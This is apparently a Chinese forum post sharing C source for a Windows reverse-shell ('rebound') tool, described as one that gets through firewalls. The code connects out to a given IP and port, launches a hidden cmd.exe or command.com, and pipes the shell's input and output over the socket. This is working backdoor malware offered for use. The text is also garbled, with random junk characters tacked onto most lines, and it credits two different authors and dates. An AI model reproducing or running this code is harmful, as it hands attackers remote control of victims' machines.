这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Odr<fvV,>
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/* ============================== qo7jrY5G
Rebound port in Windows NT 6r)B|~,OA
By wind,2006/7 yX%NFXD
===============================*/ Oid;s!-S 6
#include O
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#include r#NR3_@9
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); @me ( pnD
SOCKET sClient; B8>3GZi
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jE!?;} P1
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void main(int argc,char **argv) 4^7*R
{
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WSADATA stWsaData; 6ag0c&k
int nRet; wRu\9H}
SOCKADDR_IN stSaiClient,stSaiServer; juB /?'$~
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if(argc != 3) "c*#ZP
{ 0}9
printf("Useage:\n\rRebound DestIP DestPort\n"); #Yx
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return; c/}-pZn<
} nU/x,W[}
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WSAStartup(MAKEWORD(2,2),&stWsaData); LCMn9I
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;CDa*(e
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stSaiClient.sin_family = AF_INET; t: 03
stSaiClient.sin_port = htons(0); vz^=o'
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zKFiCP
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) nG7E j#1
{ <x1,4a~
printf("Bind Socket Failed!\n"); #YK=e&da
return; Rts.jm>[
} p~z\&&0U0
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stSaiServer.sin_family = AF_INET; -#
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); : 2A\X' @
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~vKDB$2
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $?y\3GX
{ uo3o[H
printf("Connect Error!"); VKu|=m2vB
return; USV;j%U4*
} a 1~@m[
OutputShell(); b$Q#Fv&P
} __i))2
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void OutputShell() Vo9FlYj
{ 8*EqG5OP
char szBuff[1024]; K<p)-q
SECURITY_ATTRIBUTES stSecurityAttributes; 9^@#Ua
OSVERSIONINFO stOsversionInfo; u(~( +1W
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !BR@"%hx
STARTUPINFO stStartupInfo; &"=<w
char *szShell; &?^"m\K4J*
PROCESS_INFORMATION stProcessInformation; M<ba+Qn$
unsigned long lBytesRead; 9G)fJr[c
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &G_XgQsg{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); i}~U/.P
stSecurityAttributes.lpSecurityDescriptor = 0; \N.Bx
stSecurityAttributes.bInheritHandle = TRUE; 'h>CgR^NM1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qjH/E6GGg
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); HJ!P]X_J1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?-=<7
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8>'vzc/*>
stStartupInfo.wShowWindow = SW_HIDE; 7*@BCu6
stStartupInfo.hStdInput = hReadPipe; i .''\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +m1*ou'K
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GetVersionEx(&stOsversionInfo); ye`-U?7.
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switch(stOsversionInfo.dwPlatformId) {
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{ 8:k-]+#o
case 1: V BjA$.
szShell = "command.com"; 5$c*r$t_RK
break; ,R=)^Gh{
default: k.wm{d]J
szShell = "cmd.exe"; dQI6.$?
break; moE!~IroG
} gCaxZ~o
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?:#$btmn?
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send(sClient,szMsg,77,0); 6o~CX
while(1) a[RqK#
{ A:V/i:IZfR
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -qpe;=g&f
if(lBytesRead) d>Ky(wS
{ B+[L/C}=;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); v8\pOI}c
send(sClient,szBuff,lBytesRead,0); uOb}R
} Z+
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else ~/;shs<9EM
{ V(F1i%9l g
lBytesRead=recv(sClient,szBuff,1024,0); #./8inbG
if(lBytesRead<=0) break; te&p1F
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3 H`ES_JL
} .|GnTC q
} uk)D2.eS,
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return; }kMKA.O"
}